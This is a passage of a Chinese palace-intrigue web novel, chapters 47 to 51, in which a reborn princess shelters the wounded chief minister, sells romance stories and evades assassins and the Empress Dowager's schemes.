《幽禁十年,长公主重生造反前》 第47章 滚远点 见即墨五官都要拧在一起,慕馨宁差点笑出声来。 不就是比谁能给对方添堵吗,这方面她最擅长了。 慕馨宁还没走多远,就见南阳郡主带着人急匆匆过来,她的下人手里,也拎着一个食盒。 昨夜晏骁寒遇刺的事情,很快就传的人尽皆知了。 南阳郡主一听说晏骁寒受了重伤,一大早就来了,不过并没有见到晏骁寒,被下人以‘首辅还未转醒’给打发了。 她回去之后,连忙让人做了好些个吃食,人参鸡汤都是熬了小半日。 南阳郡主一看见慕馨宁,脸色就十分难看:“慕馨宁,你还有脸来?” 她以为晏骁寒定是恨透了慕馨宁,所以慕馨宁根本没有见到人就被赶出来了,心里不由得一阵痛快。 慕馨宁笑了笑:“本宫怎么不敢,难道这里是你的地盘,还是晏骁寒是你男人?” “你……”南阳郡主被噎得脸色涨红。 随即,她眸光一转:“听说你害的晏首辅差点丢了性命,如今你怎么还敢来晏首辅跟前给他添堵,皇上还没治你的罪吗?” 慕馨宁眉头微蹙:“怕是要让你失望了。” “也不要总管别人的闲事,有空回去多读两本书,不然你这第一才女的名头怕是要保不住了。” 南阳郡主的脸色顿时一阵青一阵白:“我等着看你的下场!” 她说完,一甩袖子,带着下人往晏骁寒的帐篷走。 次日,慕馨宁早早地起了,姬神医给晏骁寒诊脉又检查了一下伤口,确定性命无虞。 于是,大家就收拾东西准备打道回府。 “小姐,昨日您休息的时候,就有好些个夫人小姐都来拜见,还送了礼。” 杜若扶着慕馨宁往马车的方向走,感受到周围灼热的目光之后,终于想起正事。 原本,皇上回京,这些个达官贵人以及家眷也应该陆陆续续的离开,信武侯的嫡子没了,看在太后的面子上,他们理应回去吊唁。 可是听说大名鼎鼎的姬神医来了之后,他们就改变了主意,都想攀上姬神医。 毕竟,人生在世,生死是第一紧要的事情,要是攀上姬神医,不但可祛病,还能延寿。 而姬神医脾气古怪,且不喜被外人打扰,皇上特意安排了侍卫随行保护,那些个人想要接近姬神医也没法子,只能把主子打到慕馨宁这里来了。 慕馨宁冷笑一声:“告诉他们,当初他们怎么嘲讽本宫的,怎么赌本宫性命的,本宫可都记着呢,让他们滚远点,别怪本宫翻脸无情。” 还想借着她跟老头儿攀关系,想得美。 这一世,慕馨宁算是看明白了。 人都是贪婪的,你越对他好,他越得寸进尺,升米恩斗米仇。 上一世,她不遗余力的拼命维持和那些个达官显贵的关系,到头来也不过是墙倒众人推罢了。 “姬神医,我是礼部尚书的夫人,请姬神医赏脸,得空过府一叙……” “姬神医,我是勤王府的管家,这是我家王爷的请帖,请姬神医有空到王府做客……” “姬神医,我是安国公府二夫人,我在明月楼设宴,请姬神医赏脸……” 慕馨宁刚上马车,外头就沸腾起来。 杜若掀开帘子一看,就见侍卫们簇拥着姬神医往这边走,那些个达官显贵以及他们的家眷拼命示好。 可是姬神医仿佛把他们当空气,看都没看一眼,径自上了慕馨宁的马车。 原本那些个人还侥幸,不用讨好慕馨宁也能攀上姬神医,如今看姬神医的态度,心里都是一阵失落,看来还得攀上长公主才行。 “外公,我特意让人给你做的寿司、凤梨酥、炒焖子、盐酥鸡,您慢慢吃,路上打发时间。” “奶茶,果子酒、果汁,您要喝什么?” 老头儿刚坐下,慕馨宁就是一阵巴结讨好。 老头儿还有些不习惯:“哎呦,之前一口一个老头儿,现在是有求于我,就叫外公了?” 慕馨宁干笑一声:“哪有,我就觉得叫老头儿亲切。” 姬神医冷哼一声,不过闻着那些个小食的香气,也来不及跟慕馨宁计较了。 以前一个人粗茶淡饭,清心寡欲,如今这吃的虽然算不上山珍海味,但也算得上美味佳肴了,看来这丫头是想拿这些个吃食诱惑他,让他留下来跟着她一起受罪。 原本姬神医还想坚持自己的本心,等晏骁寒那小子身体恢复的差不多了,给这丫头收拾完烂摊子就走,但是吃着吃着,就有些动摇了。 而且,昨天那个松鼠桂鱼还有辣子鸡,直到现在他还有些意犹未尽回味无穷,想的紧。 晏骁寒的马车上也摆了一些吃食,跟姬神医那边一样。 原本以他的病情来看,只能吃流食,但是姬神医医术高明,倒也不必在口腹上过多克制。 这一看也知道,是慕馨宁让人送来的。 即墨扶着晏骁寒坐好,在他后背放了软枕。 一闻见诱人的香气,不由得吞了吞口水,忽然间好像也没那么厌恶慕馨宁了是怎么回事。 “主子可要尝尝?” 早上的粥晏骁寒吃的不多,是厨房做的,味道寡淡,晏骁寒也没吃多少,所以这么一折腾之后,就觉得有些饿。 每一样,晏骁寒都尝了一些,然后赏给了即墨。 即墨还来不及品尝,原本不见人影的离夜也钻进了马车,那些小食硬生生抢走一半。 即墨差点跟离夜打起来,离夜一开口就让即墨熄了火:“你不是不待见她,还吃她的东西,没骨气。” 即墨:“你不好好在外头保护主子的安全,来做什么?” 离夜肃着一张脸尝了一口寿司,感觉味道怪怪的,但也不难吃。 他想起正事:“大人,长公主那边说,姬神医不便外出,想让您暂且到公主府养病,这样也方便,您看如何?” 第48章 霸道首辅爱上我 慕馨宁就怕老头儿总往晏骁寒府上跑被那些个人纠缠,或者出个什么意外,老头儿一个不高兴,再回缥缈山怎么办,所以就想了这么个主意。 晏骁寒要是有什么不适,老头儿也能及时为他诊治。 晏骁寒当然不会拒绝,他不会跟自己的身体过不去,这次伤的太严重,如果调养不好,会落下一辈子的病根。 得知晏骁寒同意以后,慕馨宁连忙让人先回府收拾出一座院落来。 她这才发现,人手好像不大够用,平日里她都是多一事不如少一事,很多事情也是亲力亲为的。 杜若就提议要买一些人进来,慕馨宁还是拒绝了,谁知道你买进府的人,不会成为别人的眼线呢? 这一路上,又有好些个人拦车,想要拜见姬神医。 慕馨宁的名头不大好用,只能把晏骁寒给搬出来,这才清净不少。 在得知慕馨宁因为晏骁寒请了姬神医为他治病之后,信武侯被气的吐血,信武侯夫人气的昏死了过去。 慕馨宁亲手杀了自己的表哥,却因为一个外人如此大费周章,简直是欺人太甚。 要是晏骁寒死了,没了晏骁寒的筹谋,永平帝迟早要变成一个空壳子,太后和信武侯府就能强大起来,掌控东陵。 他们现在对慕馨宁,恨之入骨,慕馨宁才不管这些。 府上来了两个贵客,还要管虞家一众人的吃用,公主府花钱如流水,又快到了节衣缩食的时候。 杜若愁眉不展,和鸦羽还打算把自己攒的月钱给慕馨宁。 慕馨宁翻看了一下自己的笔记,赚钱的法子有很多,但是施展起来很麻烦,而且公主府人手不够,信得过的人也少之又少。 “主子,虞零落说想要去您的书房借两本书看。”杜若拿了两个册子从外头进来。 慕馨宁挑眉:“这是什么?” 看着不像是她的东西。 “虞零落说是他抄的两本游记,送来给长公主解闷。” 慕馨宁接过来翻看了一下,忽然灵光一现,有了赚钱的法子。 “快把人请进来。” 虞零落给慕馨宁行礼,慕馨宁开口就问:“听说你在外头给人抄书?” 虞零落应是:“如果有损长公主的名声,那我就不抄了。” 慕馨宁差点笑了,她还有什么名声。 她刁难虞零落让虞零落吃野菜的事情,外头还在发酵,不过风头一过,渐渐也就快淡了。 因为崔玉博的死,信武侯和太后那边定要对慕馨宁动手了,慕馨宁打算来个先发制人,一回京,就让刘营带着那几个散播流言的下人去大理寺了,此时那头估计正热闹着。 “我有些个故事想要你帮忙写出来,然后问问书斋那边能卖几个钱。” 虞零落有些吃惊,大名鼎鼎的草包公主还能编故事吗,外头的人定会惊掉下巴。 两个人商量了一下,慕馨宁让虞零落先去书房等。 没想到虞零落一进门,竟然看见晏骁寒。 他虽然知道晏骁寒在公主府养病,但并不认识。 而此时晏骁寒衣着朴素,又容貌倾城,虞零落就以为是慕馨宁新收的男宠。 他见礼:“长公主让我在这里等她。” “你就是虞零落?” 晏骁寒打量他,语气微冷,态度也不友好。 虞零落以为晏骁寒误会了什么,连忙解释:“我跟长公主不是那种关系,你放心,我不会跟你抢,也不会把这件事告诉晏首辅。” 晏骁寒眉头微蹙:“为什么不能告诉晏首辅?” 身后的即墨撇了撇嘴,虞零落这个傻子是把自家主子当成慕馨宁养的野男人了。 虞零落有些尴尬,有些局促:“我……我还是出去等长公主吧。” 即墨想要把人叫住,却被晏骁寒制止。 慕馨宁过来的时候,虞零落正站在廊檐下发呆。 “怎么了?” 虞零落连忙解释:“我没想到你的人在里面,我不是有意打扰的。” 慕馨宁蹙眉,什么她的人。 等她进了书房,看见晏骁寒,才想起来了早上迷迷糊糊的时候杜若跟她说,晏骁寒要借她的书房办公,她好像同意了。 但是,她以为晏骁寒最起码也得修养几日再办公。 “晏骁寒,老头儿不是说让你卧床休息?” 虞零落听见晏骁寒的名字之后,顿时慌了,他竟然把晏首辅当成了慕馨宁的男宠! “劳逸结合,总要打发时间。”晏骁寒说着,目光落在虞零落身上。 虞零落连忙行礼:“见过首辅大人,刚刚是我误会了,还请大人恕罪。” 慕馨宁诧异:“怎么了?” 晏骁寒沉默,虞零落额头直冒冷汗,他迟疑片刻,将刚刚的事情说了。 “我还以为他是……” 他越说越慌,他这是惹了大祸,要是让晏首辅误会了长公主,两个人反目成仇,那他死一万次也无法弥补。 书房里安静的落针可闻,虞零落心里越来越慌, 就在他提起衣摆,准备跪下领罪的时候,慕馨宁忽然笑出声来。 “有晏首辅这样的男宠,那本宫可真是艳福不浅。” 晏骁寒脸色不大好:“你还有脸笑?” 要不是那日慕馨宁趁着醉酒轻薄他,会发生那么大的误会? 慕馨宁:“行了行了,开个玩笑,那你忙吧,我们去小书房。” 公主府书房有三个,一个是这里,另一个在后院虞家那边,还有个小书房从来没用过,也不知道下人有没有打扫过, 晏骁寒见她要走,语气淡淡:“要谈什么机密,怕我偷听?” 慕馨宁翻了个白眼,指了指另一张桌子:“我们就在那吧。” 然后转头对晏骁寒道:“既然你想听,可别怪我们打搅你。” 晏骁寒颔首,不过很快就后悔了。 慕馨宁在跟虞零落讲故事,故事他听的不太清楚,但是书名绝对听清楚了《霸道首辅爱上我》。 晏骁寒面色难看,以前拿他做挡箭牌也就算了,如今竟然还拿他做书。 “书名换一个。”他合上手里的折子,语气很淡,却态度强硬。 慕馨宁解释:“这不是蹭你的热度吗,要不这样,赚了钱分你一成怎么样?” 晏骁寒想说他不差这点钱,但没说出口,听慕馨宁的意思,以后还不只一本书,赚不赚钱不重要,重要的是知道她的动向。 “你是说所有?” 慕馨宁有些无奈,但是看在晏骁寒小命儿差点毁在自己手里的份儿上,只能答应了。 又下了两场雨,天气就越来越热了,公主府后花园里的月季和牡丹渐渐绽放,绚丽夺目。 虞文茵得知首辅大人在府上养病,多次想要探望,却都被拦了下来。 她见花开的好,特意让人剪了开的最漂亮的。 “我看后花园里的花开的特别好,所以剪了一些送过来,给首辅大人解解闷,劳烦放我进去。” 自打晏骁寒和姬神医入府,伺候的下人不多,但是守卫多了,其中还有一半是晏骁寒的人。 最外层的守卫直接拦下了虞文茵,虞文茵说着,就示意丫鬟塞给守卫一锭金子。 她本来是没那么多钱的,之前还被虞零落讹了五十两。 这不是姬神医和晏骁寒都在府上,那些个达官显贵等人想要巴结慕馨宁,可是慕馨宁不给他们机会,于是就把主意打倒了虞家人身上。 却不知他们巴结的虞老夫人几个,这些天连晏骁寒和姬神医的人影都没见过。 守卫掂了掂手里的金子,目光里闪过一抹贪婪,直接塞进口袋里。 虞文茵本以为机会来了,却见那守卫根本没有要放她进去的意思。 虞文茵:“你已经收了我的金子,怎么还不放我进去?” 守卫:“我什么时候收你金子了,证据呢,兄弟们看见了吗?” 第49章 黯然伤神 其他守卫连忙附和说没看见,虞文茵气的大闹起来,虞老夫人和虞夫人也跟着闹。 她们就想借此机会见到晏骁寒或者姬神医,先混个脸熟,之后做什么就方便了。 这件事传到了慕馨宁跟前,因为慕馨宁提前吩咐过,院内之事不要打扰晏骁寒和姬神医。 慕馨宁到的时候,三个人正闹得欢。 “你说,你不过一个侍卫,讹了我孙女的金子,还敢不承认,你简直是不知廉耻,简直是岂有此理!”虞老夫人指着那个守卫的鼻子,脸色铁青,蹦的老高。 “你们哪来的金子,不如虞老夫人跟本宫说说?” 慕馨宁的声音响起,三个人的气焰顿时就没了。 虞老夫人目光有些闪躲:“没……没有金子……” 虞夫人犹豫了一下:“是我的私房钱,长公主可要给我做主。” 那可是金子,她一年都攒不下来一锭,白白给了别人,她不甘心。 “本宫听说你娘家以前是经商的,是有点钱,但是前些年赔个底朝天,虞将军的俸禄也不高,就算你有金子,怎么会出手这么大方,再说你们给守卫金子做什么?” 虞夫人虞文茵母女两个脸色涨红,半天说不出话来。 虞夫人狠狠地瞪了虞文茵一眼,成事不足败事有余的死丫头! 虞老夫人对慕馨宁很不满,皱着一张菊花脸就要把虞放搬出来。 慕馨宁目光冰冷的环顾几人:“不要总把虞将军搬出来拿捏本宫,本公主是连累了他,但是以后要是没有本公主扶持,他举步维艰,你们明白吗?” 三个人脸色更加难看,低下头大气都不敢喘。 虞放离京之前对他们千叮咛万嘱咐,千万不可忤逆长公主,否则他定会把人遣送回老家,哪怕那个人是他的老娘。 前两日虞放来信,问候不多,重复的还是这句话。 那穷乡僻壤的地方哪有京城繁华,她们当然不想回去,就算死也得死在京城,这样下了地府也有荣光。 外头那些个人贿赂虞家的事情,谢姨娘早就跟慕馨宁禀报过了,慕馨宁并未插手,但是过不了多久,这些人定会得不偿失,有的后悔。 如今,虞文茵竟然敢拿着得来的好处巴结守卫接近晏骁寒,简直是厚颜无耻。 “都是我们的错,我们打扰了长公主和晏首辅清净,我们这就回去。”虞老夫人连忙赔罪。 她虽然是虞放的老娘,并不是亲生母子,这些年跟虞放的关系也很冷淡。 虞放不中用的时候,虞老夫人处处针对,处处为难,等虞放发达了,虞老夫人再想热脸贴人家冷屁股也晚了。 虞放可不管什么孝顺体面,从那封家书中就能看出来了,若是虞老夫人不服软,长公主将这件事告知虞放,有的她们罪受。 看着虞家几人落荒而逃,慕馨宁脸色越来越冷。 “长公主……” 那守卫将那一锭金子递到长公主跟前,额头已经是满是冷汗,他是想交给刘营,让刘营做主的,没想到被慕馨宁发现了。 这最外头一层守卫,是慕馨宁的人,因为慕馨宁料到有人不安分。 “你们分分吧。” 慕馨宁说完,那守卫提着的心顿时放进的肚子里。 之前刘营说长公主待人宽厚,他们还不信,如今倒是不得不信了。 慕馨宁一回身,就看见了不远处的晏骁寒。 这些日子,晏骁寒恢复的很好,而且他和姬神医的饭食都是慕馨宁亲自张罗的,所以人不但没瘦,看起来健硕了一些。 “吵到你了?” “看看热闹。” 慕馨宁:“……” “书卖的怎么样?”晏骁寒问。 慕馨宁挪到树荫下:“应该还不错,抄书太麻烦,而且我跟书斋谈的是分红。” 要是直接一口价,那慕馨宁就亏大了。 昨日虞零落还说卖的很好,就冲着‘霸道首辅’这四个字,那些个小姐们连故事都不瞧,直接就掏银子。 谁敢拿‘首辅’这两个字做文章,那简直是活的不耐烦了,要不是书斋老板知道了慕馨宁的身份,白给他他也不敢卖。 “最近又有新故事了?” 慕馨宁:“黛玉殇,晚些让人给你送一本。” 晏骁寒:“……” 上一本还是痴心妄想,下一本就是黯然伤神了,真是有意思。 “长公主,太后让人传话,请您进宫一趟。” 慕馨宁点头,喊了刘营来:“大理寺那件事处理的怎么样了。” 刘营道:“惠明公主和崔惜颜拒不承认,也未到场,今日刚推了两个奴才顶罪。” 慕馨宁冷笑一声,这就是身份高贵的好处,哪怕犯了错,找两个替罪羊就行了。 要不是慕馨宁受了伤,大理寺升堂那日她真应该去看看热闹。 不过,虽然宋菀菀和崔惜颜没露面,但是她们的名声也臭大街了,比慕馨宁还要臭。 一大早,崔惜颜未婚夫家、安国公府那边传了话,崔惜颜兄长离世,他们深感痛心,婚期推迟两年。 崔惜颜是死了兄长,不是死了父母,按理来说过了百日之后婚期便可提上日程。 但是安国公府直接推迟两年,不只因为崔惜颜死了兄长臭了名声,还因为最近朝堂上弹劾信武侯的人太多。 郊外开荒的那几个纨绔子弟,死了两个,其家眷已经打算鱼死网破,将信武侯的罪证交了出来。 原本信武侯府还想早点把崔惜颜嫁过去,把安国公府当成个靠山,这下算是完了。 更可气的是,安国公府不退婚,只将婚事延期。 谁知道两年之后崔惜颜还能不能做的上世子妃,两年之后她都快成了老姑娘了,关键现在崔惜颜也不能再嫁给别人。 崔惜颜能说什么,总不能说我哥死了不关我的事,我想早点嫁过去吧? 脸还要不要,名声还要不要? 信武侯夫妻两个刚缓过来一些,给崔玉博处理完了丧事,这下又够他们喝一壶了。 信武侯府乱作一团,太后那边的日子也不大好过了。 自打慕馨宁从妙峰山回来,太后就派人来请了两次,慕馨宁以受伤拒绝了,现在又来,她不能再推了。 “你自便吧,我收拾一下进宫了。”慕馨宁跟晏骁寒打了招呼就走。 晏骁寒看着她远去的背影,转头问即墨:“我们是不是许久没有去拜见皇上了?” 即墨:“……是。” 主子重伤,皇上给了一个月的假,若是恢复的不好,还可以再多修养一段时间。 慕馨宁受的是皮肉伤,自家主子是命都快没了,这能比吗,竟然还要一同进宫? 第50章 狡猾 上了马车,杜若一脸不安:“主子,咱们真要去见太后吗,您杀了崔玉博,那个惠明公主现在名声也臭的不行,太后定会都怪在您的身上,治您的罪的。” 慕馨宁靠在软枕上,懒散的打了个哈欠:“进宫干什么,跟她阳奉阴违吗,太累。” 太后的手段杀人不见血,上一世她可见识过了,现在没能力跟她硬扛,那就躲远点。 杜若有些懵:“那我们现在不就是在进宫的路上?” 慕馨宁算了算时辰,然后掀开帘子看了看外面的情形。 “三……二……一……” 杜若还没反应过来慕馨宁做什么,‘砰’的一声,一支冷箭狠狠地刺进了车壁。 杜若吓得脸色惨白:“主子,有刺客,我们快回府吧!” 于是,晏骁寒扶着即墨刚出公主府,就见慕馨宁的马车回来了。 不等晏骁寒问明情况,就有人将慕馨宁那边发生的情况禀报给他。 即墨:“怎么感觉哪里不对?” 晏骁寒嘴角上扬,这女人,简直是狡猾。 太后得知慕馨宁路上遇刺的消息之后,本来没觉出哪里不对:“可受伤了?” “没有,好像只受了惊吓,长公主派人来传话,有人想要杀她,为了安全,暂且不能来拜见太后了。” 太后脸色一变,狠狠地拍桌子:“好她个慕馨宁,都会跟哀家耍把戏了!” 信武侯手里的茶盏狠狠地摔在地上:“该死的东西,她杀了我儿,我定要将她碎尸万段!” 太后叹了口气,揉了揉太阳穴。 “母后,儿臣当初就说应该杀了她,您一直心慈手软,这下好了……” 话没说完,太后凌厉的目光射过去,宋菀菀顿时闭了嘴。 “你要是有本事能斗得过她,何必落得这般臭名?” 宋菀菀一脸委屈:“儿臣要是流的也是皇家血脉,自小就是公主,定然会比慕馨宁强百倍,奈何儿臣在庄子上被磋磨了十余年,宫里的人表面对儿臣恭敬,暗地里都在骂儿臣身份低贱,比那些个粗使丫鬟强不到哪去……” 她越说越难过,最后低声啜泣起来。 太后这才又觉得自己把话说重了,安慰两句,就让宋菀菀下去。 宋菀菀不甘心:“母后,不如多派一些刺客,一次杀不了慕馨宁,十次八次定能要了她的命!” 太后沉默着没说话,慕馨宁是该死,但是杀了只是一条命而已,若是利用起来…… 可是,慕馨宁还会被她利用吗,会不会狠狠咬下她一口肉来,崔玉博就是一个很好的例子。 “你们都退下吧,哀家头疼,要休息。” 宋菀菀和信武侯行礼告退,出了景阳宫,宋菀菀还想跟信武侯说几句话。 因为那几个下人的事情,她现在不太方便出宫,但是信武侯比较方便,定能要了慕馨宁的命。 “舅舅……” 宋菀菀刚开口,信武侯冷冷的看了他一眼,冷哼一声,拂袖而去。 那些个下人造谣慕馨宁虐待虞零落,都是宋菀菀一个人的主意,却把他女儿牵连了进来,要是没有这件事,也不会惹怒安国公府,婚期也不会延迟两年,什么东西! 宋菀菀咬唇,眼泪在眼眶里打转儿。 崔惜颜婚期被延迟关她什么事,还不是崔玉博自己找死,崔惜颜不中用! 都怪慕馨宁那个贱人,她一定不会让慕馨宁好过。 “来人……” 宋菀菀在下人耳边低语几句,下人脸色惨白。 宋菀菀将一张银票递到她手里:“办好了,端午节我就送你出宫和家人团聚,要是办不好,你这辈子就不用出去了!” 下人连忙称是,匆匆退下。 公主府的晚饭很热闹,慕馨宁喊了老头儿晏骁寒和虞零落,谢姨娘也叫上了。 老头儿一个人坐在廊檐下,低着头不停摆弄着手里的东西。 刘营都忍不住多了一嘴:“本以为他老人家住不惯公主府,嚷嚷着回去呢,没想到他从未提及过。” 现在,老头儿每天的口头语,跟慕馨宁没多大差别: 早上吃什么? 中午吃什么? 晚上吃什么? 即墨指了指老头手里的东西:“没看见吗,他这些天就忙活那个东西了。” 除了诊病,吃饭,睡觉,手里那东西不离手。 刘营面色凝重:“殿下给老人家准备了一箱子的什么鲁班锁,现在老人家一个还没解开。” 如果不出意外的话,那一箱子的东西,能把老头儿一辈子都困在公主府了。 “听说你小子是当朝首辅是吧?” 老头儿手里的鲁班锁实在是解不开,解郁丸都吃了三瓶子了,再解不开,他都要疯了。 晏骁寒对老头儿很恭敬,起身见礼:“晚辈不才,正是。” 老头儿将手里的鲁班锁丢给晏骁寒:“你给我解开,解开给我瞧瞧。” 晏骁寒看了一眼正在忙着烤生蚝的慕馨宁,不经意拨弄一下,鲁班锁就解开了。 蒜蓉粉丝烤扇贝的味道香飘十里,老头儿吞了两次口水,忍不住凑上前要了一个。 他一转身,晏骁寒又将解开的鲁班锁还原了。 “怎么了,你是不是也解不开?” 晏骁寒:“有些复杂。” 老头儿哼了一声:“我就说这东西解不开,那丫头死不承认,我看她就是糊弄我这个老头子!” 晏骁寒有一瞬间迟疑,那他到底该不该解开, 要是解开了,老人家岂不是没颜面,毕竟老人家已经琢磨好几日了。 他要是不解开,老人家就怀疑慕馨宁骗他。 不过很快,晏骁寒就不纠结了。 慕馨宁的烤生蚝和铁板鸡架已经上了桌,老头儿也顾不上那个鲁班锁了。 即墨跟刘营小声嘀咕:“你发现了吗,老头子自打进了公主府,人都胖了一圈。” 刘营咳嗽一声:“小声些……” 慕馨宁忙的满头大汗,谢姨娘也帮着打下手。 慕馨宁见她似乎又轻简许多,蹙眉问她:“虞老夫人婆媳两个又为难你了?” 谢姨娘苦笑:“妾身身份卑微,孝敬婆母尊敬夫人,是应该的。” “那个老顽固谢御史,就任由你被欺负?” 谢姨娘沉默许久,才开口:“妾身自打嫁给虞将军做妾,就与谢家断了关系。” 慕馨宁皱眉:“为什么?” “其实,原本妾身与吏部尚书家的嫡子是有了婚约的,只可惜……” 只可惜她有一个庶妹,出于嫉妒,所以算计谢姨娘落水,被虞将军所救。 谢姨娘丢了名声,除了嫁给虞将军别无他法,只是虞将军有正妻,只能给他做妾,谢家觉得丢脸,就跟她断了关系。 慕馨宁都被气笑了:“所以,你那个庶妹嫁给吏部尚书的嫡子了?” 谢姨娘点头:“听说她嫁过去也就风光了一两个月,之后的日子,也不过是在深宅之中被磋磨罢了。” 或许,这就是女人逃脱不掉的命运。 慕馨宁感慨:“想要过上人上人的日子,靠谁也不如靠自己。” 谢姨娘动了动唇,靠自己,这话说的容易,做起来可是千难万难的。 “好了好了,开饭吧!” 慕馨宁喊了一声,蒜蓉粉丝生蚝、扇贝、火锅、各种烧烤、麻辣小龙虾、酸辣无骨鸡爪、凉拌捞汁海鲜炒酸奶等摆了满满一大桌。 慕馨宁还研究了一个转桌,只要轻轻一转,想吃什么都是举手之劳,还不失优雅。 众人一入座,基本上没有人说话,只顾着眼前的美味。 杜若和鸦羽刘营几个虽然没上桌,但是也分了很多吃食,要是吃的不过瘾还能自己动手做。 即墨站在一旁,口水成河,不停的吞咽。 最后他只能凑到杜若跟前,他努力扯出一个友好的笑容,不等说话,杜若的目光跟冷刀子一样落在他的身上。 “离我远点,我打不过你,但是我可以骂你!” 第51章 死不瞑目 要不是即墨,自家主子也不会受那么重的伤,一个奴才竟然敢杀长公主,都应该灭九族,即墨竟然还好好的,真是天理不公。 要不是看在晏骁寒的面子上,杜若早就放狗了。 即墨只能默默的后退。 “殿下真是秀外慧中,厨艺也这么好,天下女子怕是无人能及,妾身真是自愧不如。”谢姨娘尝了一口生蚝,感觉舌头都要香掉了。 虞零落想要附和两句,看了一眼斜对面的晏骁寒,又不敢吭声。 男女有别,他当着这么多人夸赞慕馨宁,没准会产生什么误会,只能低头默默的吃东西。 他伸手想取一串烤青菜,没想到慕馨宁也伸手过来,两个人的手就碰在了一起。 两个人中间还隔着一个谢姨娘,慕馨宁是急着吃,所以站起身凑过来的。 气氛有点微妙,即墨眼珠子都要瞪出来了,晏骁寒面无表情。 虞零落有些慌,连忙收回手开口:“长公主先请!” 慕馨宁将一串烤鹌鹑直接送进虞零落碗里:“总吃菜做什么,吃肉。” 虞零落道了谢,埋头吃东西。 慕馨宁拿了一串鸡翅,刚要坐下,不经意对上晏骁寒的目光。 不知怎么,就有些心虚,她犹豫了一下,随手又拿了一串烤排骨递给晏骁寒:“你尝尝,这个特别好吃。” 晏骁寒没伸手。 即墨冷嗤一声,这长公主还真会左右逢源。 慕馨宁也觉得有些尴尬,径自坐下狂炫。 “大人,边关急报!” 大家吃的差不多的时候,离夜一身黑衣不知从哪冒出来。 晏骁寒用帕子擦了擦手,离夜将一封密信递到他跟前。 慕馨宁忽然有种不好的预感:“是不是虞放那边出事了?” 虞零落和谢姨娘都是脸色大变,满是担忧。 晏骁寒将信递给慕馨宁:“你们慢用,我进宫一趟。” 慕馨宁看见上头的内容之后,顿时也是胃口全无。 虞放捉的那个北赫国将领,竟然跑了。 那议和的希望很小,仗估计还要接着打。 信中还说,敌军狡诈,不知从哪弄了东陵将士们的铠甲,悄无声息潜入军中杀了不少东陵将士,并将军中粮草给烧了。 所以,如果亏空的粮草不能及时补上,近八万大军可能就要饿肚子打仗了。 “我跟你一起。” 慕馨宁来不及换衣服,跟晏骁寒一道走了,为了节省时间,只乘坐一辆马车。 “就算我们能以最快的速度筹备粮草,粮草抵达边关,将士们怕是也等不及了。” “我和皇上商量一下,边关离蓟州不算远,先从蓟州调一些粮草过去。” 但是蓟州,去年发生了旱灾,存粮估计不会太多。 慕馨宁心情沉重,虞放能不能再打胜仗不重要了,只要将士们都好好活着,留得青山在不怕没柴烧,只是这件事说得简单,实则很难。 “你说这件事……” 慕馨宁想问晏骁寒,这件事跟太后和信武侯有没有关系,可是忽然想起,当初最希望八万大军全军覆没的,应该是永平帝和晏骁寒。 她不由得打了个哆嗦,什么时候开始,她心里的那杆秤偏向永平帝和晏骁寒了呢? 这并不是一个好现象,没准北赫将领逃走又让军中大乱的,是永平帝和晏骁寒的手笔呢? “停车,我不进宫了。” 慕馨宁跳下马车,直接往回走。 晏骁寒盯着她的背影沉思片刻,随即恍然。 他刚要吩咐车夫赶车,就见一道冷光朝着慕馨宁而去。 “小心!”他急忙开口。 慕馨宁回头,忽然一个人影出现在她面前,那人手里的剑用力一挥,‘砰’的一声,顿时火花四溅,随即有什么东西落在了她脚下。 慕馨宁弯腰,竟然是一道飞镖。 “主子,你没事吧!” “殿下,属下来晚了,请殿下恕罪!” 鸦羽和刘营快步赶来,目光落在眼前的男人身上。 那人一身劲装,连忙向慕馨宁行礼:“属下是皇上派来暗中保护长公主的,长公主受惊了!” 晏骁寒的人已经将那个刺杀慕馨宁的人抓了过来,见他一身寻常衣装,不像是太后和信武侯派来的。 “你是谁,为什么要杀本宫?” 慕馨宁打量那人,刘营弯腰一把捏住那人的下巴,让慕馨宁看清他的脸。 那人对上慕馨宁打量的目光,不但没有惧怕,反而更加愤怒:“你个毒妇,看着我这张脸,是不是能想到什么?” 慕馨宁冷笑:“你算老几,本宫凭什么认得你的脸,怎么,你的脸上有花儿吗,那本宫就让人剥了你的面皮,好好欣赏!” 那人气的挣扎着就要跟慕馨宁动手,可是晏骁寒的人钳制的死死的。 “既然问不出答案,拖回去用刑就好了。” 身后传来晏骁寒的声音。 慕馨宁回头看了他一眼,心里五味杂陈,她刚怀疑永平帝和晏骁寒,永平帝的人就救了她一命,晏骁寒的人替她抓了凶手,是巧合,还是早有预谋? “有什么不能说的,我现在就告诉你们,你们可要竖起耳朵,听好了!”那个男人咬牙切齿。 “去年,慕馨宁出京游玩,家弟赶路累了,正巧在路边休息。” 他死死盯着慕馨宁那张脸:“你长公主,见我弟弟生的俊俏,竟然兽性大发,让人将他绑了丢在马车上,就对我弟弟他……” 慕馨宁对他弟弟图谋不轨,在马车上折磨完就把人给丢出去了,他弟弟倍感屈辱,最后投井自尽。 即墨和刘营等人都是一脸震惊,他们一脸复杂的看向晏骁寒,这种事情被晏骁寒亲自听见,两个人就算不反目成仇,怕是也不能再和平共处了。 本以为慕馨宁定会跟晏骁寒解释一番,没想到慕馨宁一脚就踹在那个男人的胸口:“见过胆子大的,没见过胆子这么大的,你竟然敢污蔑本宫,是不是找死!” 她就算好色,也得讲个你情我愿,断然不会强迫别人,这显然就是污蔑她。 “我有证据!” 那人挣扎着,想要从身上掏什么东西。 即墨亲自动手,然后就从那个男人鼓鼓囊囊的胸前,掏出一块布料…… 即墨看清那东西之后,顿时犹如烫手的山芋一把甩在地上。 那块布料,是一件鹅黄色绣缠枝牡丹的肚兜。 肚兜一角,清晰的绣着一和字‘宁’。 “这……”鸦羽脸色一变,想要替慕馨宁解释。 慕馨宁吸了口气,看向晏骁寒,昏暗的光线下,晏骁寒的脸色冷的渗人。 “你先进宫,回来再说。” 慕馨宁对晏骁寒说完,对鸦羽道:“把人带回去,慢慢审。” 即墨对慕馨宁的厌恶,已经达到了顶峰:“长公主,你不应该跟我家主子好好解释一番吗,还审什么,让他改了口供,说一切只是误会?” 他就说慕馨宁配不上自家主子,就趁着今晚这件事,赶紧断了关系吧,省的以后夜长梦多。 慕馨宁嘴角扯了扯:“没什么解释的,晏骁寒你要是觉得我们不合适,进宫顺道就跟皇兄提一嘴,取消婚约吧。” 什么婚约不婚约的,那只是口头上的,也没什么文书,当初永平帝和晏骁寒也不过就是糊弄她而已。 说好听了是婚约,说难听了就是扯淡。 慕馨宁话音刚落,晏骁寒手里就多了一抹银光。 慕馨宁顿时脸色惨白,心都提到了嗓子眼,这厮不会是觉得丢了面子,所以想要她的命吧? 